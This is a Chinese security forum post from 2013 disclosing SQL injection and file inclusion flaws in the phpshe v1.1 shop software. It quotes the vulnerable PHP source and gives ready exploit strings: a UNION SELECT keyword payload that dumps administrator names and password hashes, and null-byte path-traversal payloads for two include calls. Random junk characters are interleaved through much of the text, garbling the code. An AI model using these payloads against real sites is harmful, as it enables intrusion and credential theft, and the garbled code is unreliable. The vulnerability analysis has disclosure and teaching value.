找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2972|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
9 E3 u+ t, x1 Z+ Y2 o7 Y/* Phpshe v1.1 Vulnerability
: ~) Z. \6 a2 x* Y' B: v3 _/* ========================
5 Q( U; I* f9 V) f# ?/* By: : Kn1f3/ c5 r9 E3 p% h$ n' L
/* E-Mail : 681796@qq.com2 }8 K8 s. X0 G5 v+ Z& t
/*******************************************************/
+ t4 F1 o8 J9 Z) W  l- l0×00 整体大概参数传输9 Q9 a7 u7 W1 [" l, R( R4 P

8 T. Q! |% M% K  M* W* W2 J. C" e, e$ Y1 a; q9 _' Q
# ]+ [, U* d5 N& P0 G
//common.php
9 d( H- I% O; t  L/ j, Cif (get_magic_quotes_gpc()) {
0 ~6 U# v2 B  e' `8 |!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');1 }  s* ]9 M- E% g# `; a
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');/ A* P( F7 D. V/ c! ]  S
}
( d8 e9 \: U3 Lelse {5 o6 ?4 s1 H, `3 r5 r/ M
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
# W+ B, Z1 _* F!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');5 F, D- [5 E# s3 T! m0 L& Y
}
9 E& \+ J, O6 [% B7 b/ X- Q, n( xsession_start();
4 v$ |6 }5 K( h& g5 Y!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');/ {. r# V+ N: x
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');0 h: |# U* V3 V& g
9 r5 u0 [6 b* H1 _: M6 i
0×01 包含漏洞
9 ]3 Q2 K/ N& c( Q/ }; Z, b
3 O! K! H6 J* z+ Z( m8 x8 |

  U% k; t# |0 _//首页文件
1 _  {+ X! ^' }3 ?* G  B. F4 A# ^3 i9 ^<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);) m. j4 }0 l7 y
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞; s$ m- w$ p$ `3 M
pe_result();0 ^/ A" K( y0 Y9 o& o! {
?>' ]  Q: _2 G6 a" Y. k- Y
//common 文件 第15行开始
; f% P& h5 S. n$ N9 y, y0 F' ]url路由配置
  H* O. J1 T% D/ T; x$module = $mod = $act = 'index';3 R( Q4 H( u- H( Z, P; D0 V: N
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
* Y) k2 N. T) p* A) n5 \2 @9 ?$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
- I4 I8 e( F- k* ]9 `$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
+ M/ c. i/ j% q( [, {//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00; Y1 B. g8 N- [

. ]$ ^! d, c2 j/ S
0 n& b* m! ?2 A4 E
0×02 搜索注入
) N$ x" K0 e3 K; z
) g8 Q& |4 Z3 u; v1 R2 t8 f<code id="code2">

//product.php文件
$ ]0 U% ^) U) b, E! T& Hcase 'list':# j' _4 j, E8 S' c1 z  I
$category_id = intval($id);1 I/ X5 n: \  G9 i1 @/ ^
$info = $db->pe_select('category', array('category_id'=>$category_id));
7 w9 v2 n0 i) {" K5 A3 C//搜索2 H/ E( l+ X. _; O
$sqlwhere = " and `product_state` = 1";8 E. h1 A4 Z" C
pe_lead('hook/category.hook.php');
% c: o6 T/ @/ |0 W, t& Pif ($category_id) {
4 t. V5 v) v, \) lwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";: j. C- \1 G* R8 H; C
}
( S, }# o4 W2 P; T- G$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤8 ], a2 C- W, _: A1 H+ N
if ($_g_orderby) {- q, x$ k0 P! u6 _1 V
$orderby = explode('_', $_g_orderby);
: T0 m5 c0 Q. `8 \$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
3 t& z0 Y8 k9 Z}
& n0 C0 i* J9 F$ yelse {0 Q5 W- j' N  b2 [, P* r
$sqlwhere .= " order by `product_id` desc";
1 ~1 y, S$ L" h  G0 N7 s* h}# T9 l( p% \% d4 E
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));8 R# {. ]! u, a$ ?
//热卖排行
: `6 y$ y+ N2 I0 [$product_hotlist = product_hotlist();
: {" T* D  Z% y5 N//当前路径
2 S1 C& X; C) S0 p% l" d2 ?7 g$nowpath = category_path($category_id);
# ?! @% Z7 g' [$seo = pe_seo($info['category_name']);5 W1 I2 A( R: @. b, R; {
include(pe_tpl('product_list.html'));0 \! d# I5 F  V5 D8 V' t
//跟进selectall函数库
  [5 J0 X1 u7 m$ ]public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
+ ]  Q6 z" _  j2 b" |( i  |{
6 q7 e3 g, k4 n7 ?//处理条件语句1 @. ^+ c' v; D; R! d
$sqlwhere = $this->_dowhere($where);3 @/ x- S$ {- X6 ~( y
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);$ L2 N: V8 a9 G- A) _1 ^+ n' ^
}4 S' s5 D# b0 a( s. l6 ]
//exp" M2 ~7 \& I3 p  S' o# U
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1# S( t" C( ]7 g4 l! n

</code>( B! V8 W* C& M
; p% M7 l+ |9 R# q5 n2 P' ^
0×03 包含漏洞2
! Q+ y7 {/ a0 g4 s  ] 4 E. m* T, C! F2 B6 S9 {) e
<code id="code3">

//order.php

case 'pay':

: d7 {3 `; R. r/ v9 k5 s# |
$order_id = pe_dbhold($_g_id);


% V# o6 e; |8 k; o; t' Z$cache_payway = cache::get('payway');


- A* n$ f/ F  h$ |* T7 d( q  Pforeach($cache_payway as $k => $v) {

, j* J6 Y5 V+ F0 z- W* l! r+ P
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

8 T9 S0 W0 s5 x2 a: U4 A
if ($k == 'bank') {

  S" j: g$ O% p2 }. Z
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


: @8 K  l( _: r% v}


* \& X+ u. F' V) ~+ R  A: J; U& b}


. E1 x" [1 u/ ]) d$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


2 Z  q( H5 Z$ x1 \!$order['order_id'] && pe_error('订单号错误...');

& F6 P. M7 w6 U7 l4 j2 w* V; O
if (isset($_p_pesubmit)) {

# ]; ]8 p' F; l( u" N. x, p' O
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

; U: o8 r6 r0 v+ K8 W3 s5 {/ b
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

9 U; b1 j4 V7 q  J0 n1 H) e
foreach ($info_list as $v) {

# G# J* }) M& E
$order['order_name'] .= "{$v['product_name']};";
2 ?6 z, e, j9 K' p: T1 |) v7 `


- |$ t: \. g4 Q2 |% U}

+ ~0 t, K- a2 Y! Q' \+ p
echo '正在为您连接支付网站,请稍后...';


: `; |$ X5 d/ n3 q4 D# winclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

0 B- a: Y5 Y, J4 v( y7 x. w$ t
}//当一切准备好的时候就可以进行"鸡肋包含了"


' M9 G0 n2 [" }5 o" j  i: lelse {


) X2 P' `. ?: xpe_error('支付错误...');

7 K- J1 L1 l  i* [1 y8 ]
}


8 i- }! X" u- x" p8 t}

0 }+ }5 G. b4 l4 q2 z( C/ n
$seo = pe_seo('选择支付方式');

# X9 k, F' I( f% g/ U9 x- x
include(pe_tpl('order_pay.html'));


% ]' h4 W4 G% h8 Mbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
8 Q/ K! e6 Z: d8 {3 T) G3 i& D

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表